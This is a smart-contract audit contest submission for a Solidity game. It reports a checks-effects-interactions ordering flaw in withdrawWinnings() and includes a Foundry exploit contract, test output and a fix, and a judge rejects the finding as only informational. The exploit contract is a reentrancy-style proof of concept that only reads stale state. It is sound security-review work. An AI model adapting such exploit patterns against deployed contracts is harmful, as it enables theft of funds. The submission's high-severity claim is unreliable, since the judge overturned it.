Last Man Standing
First Flight #45
Beginner FriendlyFoundrySolidity
100 EXP
View results
Previous Next
Submission Details
Impact: high
Likelihood: medium
Invalid

Checks-Effects-Interactions Violation in withdrawWinnings() Enables Read-Only Reentrancy and Stale State Exposure

fffuuuming

Root + Impact

Description

  • In the withdrawWinnings() function, a manual nonReentrant modifier is used to block standard reentrancy attacks.

  • However, the function violates the Checks-Effects-Interactions pattern. Specifically, it transfers ETH before clearing pendingWinnings[msg.sender], which allows a read-only reentrancy vector.

  • Any external observer (e.g., oracles or smart contracts) querying pendingWinnings[msg.sender] during the call may observe outdated values and mistakenly believe the user still has withdrawable balance.

function withdrawWinnings() external nonReentrant {
uint256 amount = pendingWinnings[msg.sender];
require(amount > 0, "Game: No winnings to withdraw.");
​
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Game: Failed to withdraw winnings.");
@> // violates Checks-Effects-Interactions pattern: update pendingWinnings after transfering ETH
pendingWinnings[msg.sender] = 0;
​
emit WinningsWithdrawn(msg.sender, amount);
}

Risk

Likelihood: Medium

  • It requires external protocols to naively use pendingWinnings as real-time collateral or creditworthiness data

Impact: High

  • External contracts can be misled into granting users more credit, assets, or privileges than they deserve, based on stale pendingWinnings values

Proof of Concept

Add the following exploit contract and test, then run this command: forge test -vv --match-test testWithdrawWinningsReentrancy

// test
function testWithdrawWinningsReentrancy() public {
GameWithdrawWinningsReentrancy exploiter = new GameWithdrawWinningsReentrancy{value: 1 ether}(game);
exploiter._gameClaimThrone();
skip(GRACE_PERIOD + 1);
game.declareWinner();
​
console2.log("player1 penddingWinning before withdraw: ", game.pendingWinnings(address(exploiter)));
console2.log("player1 withdraw winnings");
exploiter.exploit();
console2.log("player1 penddingWinning druing callback:", exploiter.pendingWinningDruingCallback());
console2.log("player1 penddingWinning after withdraw: ", game.pendingWinnings(address(exploiter)));
}
​
​
// exploit contract
contract GameWithdrawWinningsReentrancy is Test {
Game private _game;
uint256 public pendingWinningDruingCallback;
​
constructor(Game game) payable {
_game = game;
}
​
function _gameClaimThrone() public {
_game.claimThrone{value: _game.claimFee()}();
}
​
function exploit() public {
_game.withdrawWinnings();
}
​
receive () external payable {
pendingWinningDruingCallback = _game.pendingWinnings(address(this));
}
}

PoC Results:

forge test -vv --match-test testWithdrawWinningsReentrancy
[⠊] Compiling...
[⠔] Compiling 1 files with Solc 0.8.29
[⠒] Solc 0.8.29 finished in 488.84ms
Compiler run successful!
​
Ran 1 test for test/Game.t.sol:GameTest
[PASS] testWithdrawWinningsReentrancy() (gas: 1568155)
Logs:
player1 penddingWinning before withdraw: 95000000000000000
player1 withdraw winnings
player1 penddingWinning druing callback: 95000000000000000
player1 penddingWinning after withdraw: 0
​
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.34ms (1.07ms CPU time)
​
Ran 1 test suite in 218.18ms (5.34ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended Mitigation

Follow the Checks-Effects-Interactions , update pendingWinnings[msg.sender] before transferring ETH

function withdrawWinnings() external nonReentrant {
uint256 amount = pendingWinnings[msg.sender];
require(amount > 0, "Game: No winnings to withdraw.");
+ pendingWinnings[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Game: Failed to withdraw winnings.");
​
- pendingWinnings[msg.sender] = 0;
​
emit WinningsWithdrawn(msg.sender, amount);
}
Updates

Appeal created

inallhonesty Lead Judge about 1 month ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

Game::withdrawWinnings reentrancy

We only audit the current code in scope. We cannot make speculation with respect to how this codebase will evolve in the future. For now there is a nonReentrant modifier which mitigates any reentrancy. CEI is a good practice, but it's not mandatory. Informational

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.